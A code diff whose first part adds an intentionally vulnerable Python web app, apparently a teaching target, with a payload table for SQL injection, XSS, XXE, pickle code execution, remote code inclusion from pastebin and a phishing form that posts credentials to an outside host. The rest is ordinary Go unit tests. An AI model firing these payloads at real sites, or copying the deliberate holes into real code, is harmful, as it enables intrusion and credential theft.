+HTML_PREFIX, HTML_POSTFIX = "\n\n
\n\n%s\n\n\n\n" % html.escape(NAME), "\n\n" % (GITHUB, re.search(r"\(([^)]+)", NAME).group(1), VERSION)
+USERS_XML = """adminadminadmin7en8aiDoh!driccidianricci12345amasonanthonymasongandalfsvargassandravargasphest1945"""
+CASES = (("Blind SQL Injection (boolean)", "?id=2", "/?id=2%20AND%20SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C1%2C1)%3D%277%27\" onclick=\"alert('checking if the first character for admin\\'s password is digit \\'7\\' (true in case of same result(s) as for \\'vulnerable\\')')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#boolean-exploitation-technique"), ("Blind SQL Injection (time)", "?id=2", "/?id=(SELECT%20(CASE%20WHEN%20(SUBSTR((SELECT%20password%20FROM%20users%20WHERE%20name%3D%27admin%27)%2C2%2C1)%3D%27e%27)%20THEN%20(LIKE(%27ABCDEFG%27%2CUPPER(HEX(RANDOMBLOB(300000000)))))%20ELSE%200%20END))\" onclick=\"alert('checking if the second character for admin\\'s password is letter \\'e\\' (true in case of delayed response)')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#time-delay-exploitation-technique"), ("UNION SQL Injection", "?id=2", "/?id=2%20UNION%20ALL%20SELECT%20NULL%2C%20NULL%2C%20NULL%2C%20(SELECT%20id%7C%7C%27%2C%27%7C%7Cusername%7C%7C%27%2C%27%7C%7Cpassword%20FROM%20users%20WHERE%20username%3D%27admin%27)", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#union-exploitation-technique"), ("Login Bypass", "/login?username=&password=", "/login?username=admin&password=%27%20OR%20%271%27%20LIKE%20%271", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection#classic-sql-injection"), ("HTTP Parameter Pollution", "/login?username=&password=", "/login?username=admin&password=%27%2F*&password=*%2FOR%2F*&password=*%2F%271%27%2F*&password=*%2FLIKE%2F*&password=*%2F%271", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/04-Testing_for_HTTP_Parameter_Pollution"), ("Cross Site Scripting (reflected)", "/?v=0.2", "/?v=0.2%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting"), ("Cross Site Scripting (stored)", "/?comment=\" onclick=\"document.location='/?comment='+prompt('please leave a comment'); return false", "/?comment=%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting"), ("Cross Site Scripting (DOM)", "/?#lang=en", "/?foobar#lang=en%3Cscript%3Ealert(%22arbitrary%20javascript%22)%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting"), ("Cross Site Scripting (JSONP)", "/users.json?callback=process\" onclick=\"var script=document.createElement('script');script.src='/users.json?callback=process';document.getElementsByTagName('head')[0].appendChild(script);return false", "/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess\" onclick=\"var script=document.createElement('script');script.src='/users.json?callback=alert(%22arbitrary%20javascript%22)%3Bprocess';document.getElementsByTagName('head')[0].appendChild(script);return false", "http://www.metaltoad.com/blog/using-jsonp-safely"), ("XML External Entity (local)", "/?xml=%3Croot%3E%3C%2Froot%3E", "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E" if os.name != "nt" else "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2FC%3A%2FWindows%2Fwin.ini%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection"), ("XML External Entity (remote)", "/?xml=%3Croot%3E%3C%2Froot%3E", "/?xml=%3C!DOCTYPE%20example%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22http%3A%2F%2Fpastebin.com%2Fraw.php%3Fi%3Dh1rvVnvx%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection"), ("Server Side Request Forgery", "/?path=", "/?path=http%3A%2F%2F127.0.0.1%3A631" if os.name != "nt" else "/?path=%5C%5C127.0.0.1%5CC%24%5CWindows%5Cwin.ini", "http://www.bishopfox.com/blog/2015/04/vulnerable-by-design-understanding-server-side-request-forgery/"), ("Blind XPath Injection (boolean)", "/?name=dian", "/?name=admin%27%20and%20substring(password%2Ftext()%2C3%2C1)%3D%27n\" onclick=\"alert('checking if the third character for admin\\'s password is letter \\'n\\' (true in case of found item)')", "https://owasp.org/www-community/attacks/XPATH_Injection"), ("Cross Site Request Forgery", "/?comment=", "/?v=%3Cimg%20src%3D%22%2F%3Fcomment%3D%253Cdiv%2520style%253D%2522color%253Ared%253B%2520font-weight%253A%2520bold%2522%253EI%2520quit%2520the%2520job%253C%252Fdiv%253E%22%3E\" onclick=\"alert('please visit \\'vulnerable\\' page to see what this click has caused')", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery"), ("Frame Injection (phishing)", "/?v=0.2", "/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flogin.html%22%20style%3D%22background-color%3Awhite%3Bz-index%3A10%3Btop%3A10%25%3Bleft%3A10%25%3Bposition%3Afixed%3Bborder-collapse%3Acollapse%3Bborder%3A1px%20solid%20%23a8a8a8%22%3E%3C%2Fiframe%3E", "http://www.gnucitizen.org/blog/frame-injection-fun/"), ("Frame Injection (content spoofing)", "/?v=0.2", "/?v=0.2%3Ciframe%20src%3D%22http%3A%2F%2Fdsvw.c1.biz%2F%22%20style%3D%22background-color%3Awhite%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20frameborder%3D%220%22%3E%3C%2Fiframe%3E", "http://www.gnucitizen.org/blog/frame-injection-fun/"), ("Clickjacking", None, "/?v=0.2%3Cdiv%20style%3D%22opacity%3A0%3Bfilter%3Aalpha(opacity%3D20)%3Bbackground-color%3A%23000%3Bwidth%3A100%25%3Bheight%3A100%25%3Bz-index%3A10%3Btop%3A0%3Bleft%3A0%3Bposition%3Afixed%3B%22%20onclick%3D%22document.location%3D%27http%3A%2F%2Fdsvw.c1.biz%2F%27%22%3E%3C%2Fdiv%3E%3Cscript%3Ealert(%22click%20anywhere%20on%20page%22)%3B%3C%2Fscript%3E", "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/09-Testing_for_Clickjacking"), ("Unvalidated Redirect", "/?redir=", "/?redir=http%3A%2F%2Fdsvw.c1.biz", "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html"), ("Arbitrary Code Execution", "/?domain=www.google.com", "/?domain=www.google.com%3B%20ifconfig" if os.name != "nt" else "/?domain=www.google.com%26%20ipconfig", "https://en.wikipedia.org/wiki/Arbitrary_code_execution"), ("Full Path Disclosure", "/?path=", "/?path=foobar", "https://owasp.org/www-community/attacks/Full_Path_Disclosure"), ("Source Code Disclosure", "/?path=", "/?path=dsvw.py", "https://www.imperva.com/resources/glossary?term=source_code_disclosure"), ("Path Traversal", "/?path=", "/?path=..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd" if os.name != "nt" else "/?path=..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini", "https://www.owasp.org/index.php/Path_Traversal"), ("File Inclusion (remote)", "/?include=", "/?include=http%%3A%%2F%%2Fpastebin.com%%2Fraw.php%%3Fi%%3D6VyyNNhc&cmd=%s" % ("ifconfig" if os.name != "nt" else "ipconfig"), "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11.2-Testing_for_Remote_File_Inclusion"), ("HTTP Header Injection (phishing)", "/?charset=utf8", "/?charset=utf8%0D%0AX-XSS-Protection:0%0D%0AContent-Length:388%0D%0A%0D%0A%3C!DOCTYPE%20html%3E%3Chtml%3E%3Chead%3E%3Ctitle%3ELogin%3C%2Ftitle%3E%3C%2Fhead%3E%3Cbody%20style%3D%27font%3A%2012px%20monospace%27%3E%3Cform%20action%3D%22http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.php%22%20onSubmit%3D%22alert(%27visit%20%5C%27http%3A%2F%2Fdsvw.c1.biz%2Fi%2Flog.txt%5C%27%20to%20see%20your%20phished%20credentials%27)%22%3EUsername%3A%3Cbr%3E%3Cinput%20type%3D%22text%22%20name%3D%22username%22%3E%3Cbr%3EPassword%3A%3Cbr%3E%3Cinput%20type%3D%22password%22%20name%3D%22password%22%3E%3Cinput%20type%3D%22submit%22%20value%3D%22Login%22%3E%3C%2Fform%3E%3C%2Fbody%3E%3C%2Fhtml%3E", "https://www.rapid7.com/db/vulnerabilities/http-generic-script-header-injection"), ("Component with Known Vulnerability (pickle)", "/?object=%s" % urllib.parse.quote(pickle.dumps(dict((_.findtext("username"), (_.findtext("name"), _.findtext("surname"))) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user")))), "/?object=cos%%0Asystem%%0A(S%%27%s%%27%%0AtR.%%0A\" onclick=\"alert('checking if arbitrary code can be executed remotely (true in case of delayed response)')" % urllib.parse.quote("ping -c 5 127.0.0.1" if os.name != "nt" else "ping -n 5 127.0.0.1"), "https://www.cs.uic.edu/~s/musings/pickle.html"), ("Denial of Service (memory)", "/?size=32", "/?size=9999999", "https://owasp.org/www-community/attacks/Denial_of_Service"))
+def init():
+ global connection
+ http.server.HTTPServer.allow_reuse_address = True
+ connection = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False)
+ cursor = connection.cursor()
+ cursor.execute("CREATE TABLE users(id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, name TEXT, surname TEXT, password TEXT)")
+ cursor.executemany("INSERT INTO users(id, username, name, surname, password) VALUES(NULL, ?, ?, ?, ?)", ((_.findtext("username"), _.findtext("name"), _.findtext("surname"), _.findtext("password")) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user")))
+ cursor.execute("CREATE TABLE comments(id INTEGER PRIMARY KEY AUTOINCREMENT, comment TEXT, time TEXT)")
+
+class ReqHandler(http.server.BaseHTTPRequestHandler):
+ def do_GET(self):
+ path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "")
+ code, content, params, cursor = http.client.OK, HTML_PREFIX, dict((match.group("parameter"), urllib.parse.unquote(','.join(re.findall(r"(?:\A|[?&])%s=([^&]+)" % match.group("parameter"), query)))) for match in re.finditer(r"((\A|[?&])(?P[\w\[\]]+)=)([^&]+)", query)), connection.cursor()
+ try:
+ if path == '/':
+ if "id" in params:
+ cursor.execute("SELECT id, username, name, surname FROM users WHERE id=" + params["id"])
+ content += "Result(s):
%s" % ("".join("%s
" % "".join("%s | " % ("-" if _ is None else _) for _ in row) for row in cursor.fetchall()), HTML_POSTFIX)
+ elif "v" in params:
+ content += re.sub(r"(v)[^<]+()", r"\g<1>%s\g<2>" % params["v"], HTML_POSTFIX)
+ elif "object" in params:
+ content = str(pickle.loads(params["object"].encode()))
+ elif "path" in params:
+ content = (open(os.path.abspath(params["path"]), "rb") if not "://" in params["path"] else urllib.request.urlopen(params["path"])).read().decode()
+ elif "domain" in params:
+ content = subprocess.check_output("nslookup " + params["domain"], shell=True, stderr=subprocess.STDOUT, stdin=subprocess.PIPE).decode()
+ elif "xml" in params:
+ content = lxml.etree.tostring(lxml.etree.parse(io.BytesIO(params["xml"].encode()), lxml.etree.XMLParser(no_network=False)), pretty_print=True).decode()
+ elif "name" in params:
+ found = lxml.etree.parse(io.BytesIO(USERS_XML.encode())).xpath(".//user[name/text()='%s']" % params["name"])
+ content += "Surname: %s%s" % (found[-1].find("surname").text if found else "-", HTML_POSTFIX)
+ elif "size" in params:
+ start, _ = time.time(), "
".join("#" * int(params["size"]) for _ in range(int(params["size"])))
+ content += "Time required (to 'resize image' to %dx%d): %.6f seconds%s" % (int(params["size"]), int(params["size"]), time.time() - start, HTML_POSTFIX)
+ elif "comment" in params or query == "comment=":
+ if "comment" in params:
+ cursor.execute("INSERT INTO comments VALUES(NULL, '%s', '%s')" % (params["comment"], time.ctime()))
+ content += "Thank you for leaving the comment. Please click here here to see all comments%s" % HTML_POSTFIX
+ else:
+ cursor.execute("SELECT id, comment, time FROM comments")
+ content += "Comment(s):
%s" % ("".join("%s
" % "".join("%s | " % ("-" if _ is None else _) for _ in row) for row in cursor.fetchall()), HTML_POSTFIX)
+ elif "include" in params:
+ backup, sys.stdout, program, envs = sys.stdout, io.StringIO(), (open(params["include"], "rb") if not "://" in params["include"] else urllib.request.urlopen(params["include"])).read(), {"DOCUMENT_ROOT": os.getcwd(), "HTTP_USER_AGENT": self.headers.get("User-Agent"), "REMOTE_ADDR": self.client_address[0], "REMOTE_PORT": self.client_address[1], "PATH": path, "QUERY_STRING": query}
+ exec(program, envs)
+ content += sys.stdout.getvalue()
+ sys.stdout = backup
+ elif "redir" in params:
+ content = content.replace("", "" % params["redir"])
+ if HTML_PREFIX in content and HTML_POSTFIX not in content:
+ content += "Attacks:
\n\n" % ("".join("\n%s - vulnerable|exploit|info" % (" class=\"disabled\" title=\"module 'python-lxml' not installed\"" if ("lxml.etree" not in sys.modules and any(_ in case[0].upper() for _ in ("XML", "XPATH"))) else "", case[0], case[1], case[2], case[3]) for case in CASES)).replace("vulnerable|", "-|")
+ elif path == "/users.json":
+ content = "%s%s%s" % ("" if not "callback" in params else "%s(" % params["callback"], json.dumps(dict((_.findtext("username"), _.findtext("surname")) for _ in xml.etree.ElementTree.fromstring(USERS_XML).findall("user"))), "" if not "callback" in params else ")")
+ elif path == "/login":
+ cursor.execute("SELECT * FROM users WHERE username='" + re.sub(r"[^\w]", "", params.get("username", "")) + "' AND password='" + params.get("password", "") + "'")
+ content += "Welcome %s" % (re.sub(r"[^\w]", "", params.get("username", "")), "".join(random.sample(string.ascii_letters + string.digits, 20))) if cursor.fetchall() else "The username and/or password is incorrect"
+ else:
+ code = http.client.NOT_FOUND
+ except Exception as ex:
+ content = ex.output if isinstance(ex, subprocess.CalledProcessError) else traceback.format_exc()
+ code = http.client.INTERNAL_SERVER_ERROR
+ finally:
+ self.send_response(code)
+ self.send_header("Connection", "close")
+ self.send_header("X-XSS-Protection", "0")
+ self.send_header("Content-Type", "%s%s" % ("text/html" if content.startswith("") else "text/plain", "; charset=%s" % params.get("charset", "utf8")))
+ self.end_headers()
+ self.wfile.write(("%s%s" % (content, HTML_POSTFIX if HTML_PREFIX in content and GITHUB not in content else "")).encode())
+ self.wfile.flush()
+
+class ThreadingServer(socketserver.ThreadingMixIn, http.server.HTTPServer):
+ def server_bind(self):
+ self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+ http.server.HTTPServer.server_bind(self)
+
+if __name__ == "__main__":
+ init()
+ print("%s #v%s\n by: %s\n\n[i] running HTTP server at 'http://%s:%d'..." % (NAME, VERSION, AUTHOR, LISTEN_ADDRESS, LISTEN_PORT))
+ try:
+ ThreadingServer((LISTEN_ADDRESS, LISTEN_PORT), ReqHandler).serve_forever()
+ except KeyboardInterrupt:
+ pass
+ except Exception as ex:
+ print("[x] exception occurred ('%s')" % ex)
+ finally:
+ os._exit(0)
diff --git a/internal/services/export_test.go b/internal/services/export_test.go
index 87da0304..1783d07b 100644
--- a/internal/services/export_test.go
+++ b/internal/services/export_test.go
@@ -67,3 +67,85 @@ func TestExportSbomResults(t *testing.T) {
})
}
}
+
+func TestGetExportPackage_InitiateExportRequestError_ReturnsError(t *testing.T) {
+ result, err := GetExportPackage(&mock.ExportMockWrapper{}, "err-scan-id", false, &mock.FeatureFlagsMockWrapper{})
+ assert.Error(t, err)
+ assert.Nil(t, result)
+}
+
+func TestGetExportPackage_MinioDisabled_UsesExportIDAsFilePath(t *testing.T) {
+ resetFeatureFlagState()
+ defer resetFeatureFlagState()
+ mock.Flag = wrappers.FeatureFlagResponseModel{Name: wrappers.MinioEnabled, Status: false}
+
+ var capturedFilePath string
+ var capturedAuth bool
+ exportWrapper := &mock.ExportMockWrapper{
+ CustomGetScaPackageCollectionExport: func(fileURL string, auth bool) (*wrappers.ScaPackageCollectionExport, error) {
+ capturedFilePath = fileURL
+ capturedAuth = auth
+ return &wrappers.ScaPackageCollectionExport{}, nil
+ },
+ }
+
+ result, err := GetExportPackage(exportWrapper, "scan-id-123", false, &mock.FeatureFlagsMockWrapper{})
+ assert.NoError(t, err)
+ assert.NotNil(t, result)
+ assert.Equal(t, "id123456", capturedFilePath)
+ assert.False(t, capturedAuth)
+}
+
+func TestGetExportPackage_MinioEnabled_UsesFileURLAsFilePath(t *testing.T) {
+ resetFeatureFlagState()
+ defer resetFeatureFlagState()
+ mock.Flag = wrappers.FeatureFlagResponseModel{Name: wrappers.MinioEnabled, Status: true}
+
+ var capturedFilePath string
+ var capturedAuth bool
+ exportWrapper := &mock.ExportMockWrapper{
+ CustomGetScaPackageCollectionExport: func(fileURL string, auth bool) (*wrappers.ScaPackageCollectionExport, error) {
+ capturedFilePath = fileURL
+ capturedAuth = auth
+ return &wrappers.ScaPackageCollectionExport{}, nil
+ },
+ }
+
+ result, err := GetExportPackage(exportWrapper, "scan-id-123", true, &mock.FeatureFlagsMockWrapper{})
+ assert.NoError(t, err)
+ assert.NotNil(t, result)
+ assert.Equal(t, "url", capturedFilePath)
+ assert.True(t, capturedAuth)
+}
+
+func TestGetExportPackage_NoResultsFound_ReturnsEmptyCollectionWithoutError(t *testing.T) {
+ resetFeatureFlagState()
+ defer resetFeatureFlagState()
+ mock.Flag = wrappers.FeatureFlagResponseModel{Name: wrappers.MinioEnabled, Status: false}
+
+ exportWrapper := &mock.ExportMockWrapper{
+ CustomGetExportReportStatus: func(exportID string) (*wrappers.ExportPollingResponse, error) {
+ return &wrappers.ExportPollingResponse{
+ ExportStatus: completedStatus,
+ ErrorMessage: "No results were found for the scan",
+ }, nil
+ },
+ }
+
+ result, err := GetExportPackage(exportWrapper, "scan-id-123", false, &mock.FeatureFlagsMockWrapper{})
+ assert.NoError(t, err)
+ assert.NotNil(t, result)
+ assert.Empty(t, result.Packages)
+}
+
+func TestGetExportPackage_PollForCompletionError_ReturnsError(t *testing.T) {
+ exportWrapper := &mock.ExportMockWrapper{
+ CustomGetExportReportStatus: func(exportID string) (*wrappers.ExportPollingResponse, error) {
+ return nil, fmt.Errorf("polling failed")
+ },
+ }
+
+ result, err := GetExportPackage(exportWrapper, "scan-id-123", false, &mock.FeatureFlagsMockWrapper{})
+ assert.Error(t, err)
+ assert.Nil(t, result)
+}
diff --git a/internal/services/osinstaller/os-installer_test.go b/internal/services/osinstaller/os-installer_test.go
new file mode 100644
index 00000000..aa71ff4b
--- /dev/null
+++ b/internal/services/osinstaller/os-installer_test.go
@@ -0,0 +1,203 @@
+package osinstaller
+
+import (
+ "crypto/sha256"
+ "fmt"
+ "net/http"
+ "net/http/httptest"
+ "os"
+ "path/filepath"
+ "testing"
+ "time"
+
+ "github.com/stretchr/testify/assert"
+ "github.com/stretchr/testify/require"
+)
+
+// newInstallConfig creates an InstallationConfiguration with a short, unique
+// WorkingDirName (as production configs do, e.g. "CxVorpal") so that
+// InstallationConfiguration.WorkingDir() resolves to a valid path on every OS.
+// The resolved directory is created and cleaned up automatically.
+func newInstallConfig(t *testing.T) *InstallationConfiguration {
+ t.Helper()
+ name := fmt.Sprintf("cx-cli-test-%d", time.Now().UnixNano())
+ cfg := &InstallationConfiguration{
+ ExecutableFile: "tool",
+ FileName: "tool.tar.gz",
+ HashFileName: "tool.hash",
+ WorkingDirName: name,
+ }
+ resolved := cfg.WorkingDir()
+ require.NoError(t, os.MkdirAll(resolved, 0755))
+ t.Cleanup(func() { _ = os.RemoveAll(resolved) })
+ return cfg
+}
+
+func TestFileExists_ExistingFile_ReturnsTrue(t *testing.T) {
+ tempDir := t.TempDir()
+ filePath := filepath.Join(tempDir, "file.txt")
+ require.NoError(t, os.WriteFile(filePath, []byte("content"), 0600))
+
+ exists, err := FileExists(filePath)
+ assert.NoError(t, err)
+ assert.True(t, exists)
+}
+
+func TestFileExists_NonExistentFile_ReturnsFalse(t *testing.T) {
+ exists, err := FileExists(filepath.Join(t.TempDir(), "missing.txt"))
+ assert.NoError(t, err)
+ assert.False(t, exists)
+}
+
+func TestGetHashValue_ValidFile_ReturnsSha256Hash(t *testing.T) {
+ tempDir := t.TempDir()
+ filePath := filepath.Join(tempDir, "file.txt")
+ content := []byte("hash-me")
+ require.NoError(t, os.WriteFile(filePath, content, 0600))
+
+ expected := sha256.Sum256(content)
+
+ hash, err := getHashValue(filePath)
+ assert.NoError(t, err)
+ assert.Equal(t, expected[:], hash)
+}
+
+func TestGetHashValue_NonExistentFile_ReturnsError(t *testing.T) {
+ hash, err := getHashValue(filepath.Join(t.TempDir(), "missing.txt"))
+ assert.Error(t, err)
+ assert.Nil(t, hash)
+}
+
+func TestCreateWorkingDirectory_CreatesDirectory(t *testing.T) {
+ name := fmt.Sprintf("cx-cli-test-not-created-yet-%d", time.Now().UnixNano())
+ cfg := &InstallationConfiguration{WorkingDirName: name}
+ t.Cleanup(func() { _ = os.RemoveAll(cfg.WorkingDir()) })
+
+ err := createWorkingDirectory(cfg)
+ assert.NoError(t, err)
+
+ info, statErr := os.Stat(cfg.WorkingDir())
+ require.NoError(t, statErr)
+ assert.True(t, info.IsDir())
+}
+
+func TestDownloadFile_Success_WritesResponseBodyToFile(t *testing.T) {
+ const body = "binary-content"
+ server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ _, _ = w.Write([]byte(body))
+ }))
+ defer server.Close()
+
+ destPath := filepath.Join(t.TempDir(), "downloaded.bin")
+ err := downloadFile(server.URL, destPath)
+ assert.NoError(t, err)
+
+ content, readErr := os.ReadFile(destPath)
+ require.NoError(t, readErr)
+ assert.Equal(t, body, string(content))
+}
+
+func TestDownloadFile_UnreachableServer_ReturnsError(t *testing.T) {
+ destPath := filepath.Join(t.TempDir(), "downloaded.bin")
+ err := downloadFile("http://127.0.0.1:0/unreachable", destPath)
+ assert.Error(t, err)
+}
+
+func TestDownloadHashFile_Success_WritesHashFile(t *testing.T) {
+ const hashContent = "deadbeef"
+ server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ _, _ = w.Write([]byte(hashContent))
+ }))
+ defer server.Close()
+
+ destPath := filepath.Join(t.TempDir(), "tool.hash")
+ err := downloadHashFile(server.URL, destPath)
+ assert.NoError(t, err)
+
+ content, readErr := os.ReadFile(destPath)
+ require.NoError(t, readErr)
+ assert.Equal(t, hashContent, string(content))
+}
+
+func TestIsLastVersion_HashUnchanged_ReturnsTrue(t *testing.T) {
+ const hashContent = "same-hash-value"
+ server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ _, _ = w.Write([]byte(hashContent))
+ }))
+ defer server.Close()
+
+ hashFilePath := filepath.Join(t.TempDir(), "tool.hash")
+ require.NoError(t, os.WriteFile(hashFilePath, []byte(hashContent), 0600))
+
+ upToDate, err := isLastVersion(hashFilePath, server.URL, hashFilePath)
+ assert.NoError(t, err)
+ assert.True(t, upToDate)
+}
+
+func TestIsLastVersion_HashChanged_ReturnsFalse(t *testing.T) {
+ server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ _, _ = w.Write([]byte("new-hash-value"))
+ }))
+ defer server.Close()
+
+ hashFilePath := filepath.Join(t.TempDir(), "tool.hash")
+ require.NoError(t, os.WriteFile(hashFilePath, []byte("old-hash-value"), 0600))
+
+ upToDate, err := isLastVersion(hashFilePath, server.URL, hashFilePath)
+ assert.NoError(t, err)
+ assert.False(t, upToDate)
+}
+
+func TestIsLastVersion_DownloadFails_ReturnsError(t *testing.T) {
+ hashFilePath := filepath.Join(t.TempDir(), "tool.hash")
+ require.NoError(t, os.WriteFile(hashFilePath, []byte("old-hash-value"), 0600))
+
+ _, err := isLastVersion(hashFilePath, "http://127.0.0.1:0/unreachable", hashFilePath)
+ assert.Error(t, err)
+}
+
+func TestDownloadNotNeeded_ExecutableMissing_ReturnsFalse(t *testing.T) {
+ cfg := newInstallConfig(t)
+ assert.False(t, downloadNotNeeded(cfg))
+}
+
+func TestDownloadNotNeeded_ExecutableExistsAndUpToDate_ReturnsTrue(t *testing.T) {
+ const hashContent = "matching-hash"
+ server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ _, _ = w.Write([]byte(hashContent))
+ }))
+ defer server.Close()
+
+ cfg := newInstallConfig(t)
+ cfg.HashDownloadURL = server.URL
+ require.NoError(t, os.WriteFile(cfg.ExecutableFilePath(), []byte("exe"), 0755))
+ require.NoError(t, os.WriteFile(cfg.HashFilePath(), []byte(hashContent), 0600))
+
+ assert.True(t, downloadNotNeeded(cfg))
+}
+
+func TestInstallOrUpgrade_AlreadyUpToDate_ReturnsFalseNil(t *testing.T) {
+ const hashContent = "matching-hash"
+ server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ _, _ = w.Write([]byte(hashContent))
+ }))
+ defer server.Close()
+
+ cfg := newInstallConfig(t)
+ cfg.HashDownloadURL = server.URL
+ require.NoError(t, os.WriteFile(cfg.ExecutableFilePath(), []byte("exe"), 0755))
+ require.NoError(t, os.WriteFile(cfg.HashFilePath(), []byte(hashContent), 0600))
+
+ installed, err := InstallOrUpgrade(cfg)
+ assert.NoError(t, err)
+ assert.False(t, bool(installed))
+}
+
+func TestInstallOrUpgrade_DownloadFileFails_ReturnsError(t *testing.T) {
+ cfg := newInstallConfig(t)
+ cfg.DownloadURL = "http://127.0.0.1:0/unreachable"
+
+ installed, err := InstallOrUpgrade(cfg)
+ assert.Error(t, err)
+ assert.False(t, bool(installed))
+}
diff --git a/internal/services/projects_test.go b/internal/services/projects_test.go
index 700e2813..6d0aed10 100644
--- a/internal/services/projects_test.go
+++ b/internal/services/projects_test.go
@@ -7,6 +7,7 @@ import (
"github.com/checkmarx/ast-cli/internal/wrappers"
"github.com/checkmarx/ast-cli/internal/wrappers/mock"
"github.com/spf13/cobra"
+ "github.com/stretchr/testify/assert"
)
func TestFindProject(t *testing.T) {
@@ -190,7 +191,6 @@ func Test_updateProject(t *testing.T) {
projectsWrapper wrappers.ProjectsWrapper
groupsWrapper wrappers.GroupsWrapper
accessManagementWrapper wrappers.AccessManagementWrapper
- applicationsWrapper wrappers.ApplicationsWrapper
projectName string
applicationID []string
projectTags string
@@ -320,3 +320,15 @@ func TestGetProjectsCollectionByProjectName(t *testing.T) {
})
}
}
+
+func TestVerifyApplicationAssociationDone_AlreadyAssociated_ReturnsNil(t *testing.T) {
+ applicationWrapper := &mock.ApplicationsMockWrapper{}
+ err := verifyApplicationAssociationDone(mock.ExistingApplication, "ID-newProject", applicationWrapper)
+ assert.NoError(t, err)
+}
+
+func TestVerifyApplicationAssociationDone_WrapperError_ReturnsError(t *testing.T) {
+ applicationWrapper := &mock.ApplicationsMockWrapper{}
+ err := verifyApplicationAssociationDone(mock.NoPermissionApp, "any-project-id", applicationWrapper)
+ assert.Error(t, err)
+}
diff --git a/internal/services/realtimeengine/common_test.go b/internal/services/realtimeengine/common_test.go
new file mode 100644
index 00000000..68222f38
--- /dev/null
+++ b/internal/services/realtimeengine/common_test.go
@@ -0,0 +1,93 @@
+package realtimeengine
+
+import (
+ "errors"
+ "os"
+ "path/filepath"
+ "testing"
+
+ errorconstants "github.com/checkmarx/ast-cli/internal/constants/errors"
+ "github.com/checkmarx/ast-cli/internal/wrappers/mock"
+ "github.com/stretchr/testify/assert"
+)
+
+func TestIsFeatureFlagEnabled_Success(t *testing.T) {
+ mock.FFErr = nil //nolint:gocritic // resetting shared mock package state between tests
+ defer func() { mock.FFErr = nil }() //nolint:gocritic // resetting shared mock package state between tests
+ mock.Flag.Name = "SOME_FLAG"
+ mock.Flag.Status = true
+
+ enabled, err := IsFeatureFlagEnabled(&mock.FeatureFlagsMockWrapper{}, "SOME_FLAG")
+ assert.NoError(t, err)
+ assert.True(t, enabled)
+}
+
+func TestIsFeatureFlagEnabled_WrapperError_ReturnsWrappedError(t *testing.T) {
+ mock.FFErr = errors.New("feature flag lookup failed") //nolint:gocritic // resetting shared mock package state between tests
+ defer func() { mock.FFErr = nil }() //nolint:gocritic // resetting shared mock package state between tests
+
+ enabled, err := IsFeatureFlagEnabled(&mock.FeatureFlagsMockWrapper{}, "SOME_FLAG")
+ assert.Error(t, err)
+ assert.Contains(t, err.Error(), "failed to get feature flag")
+ assert.False(t, enabled)
+}
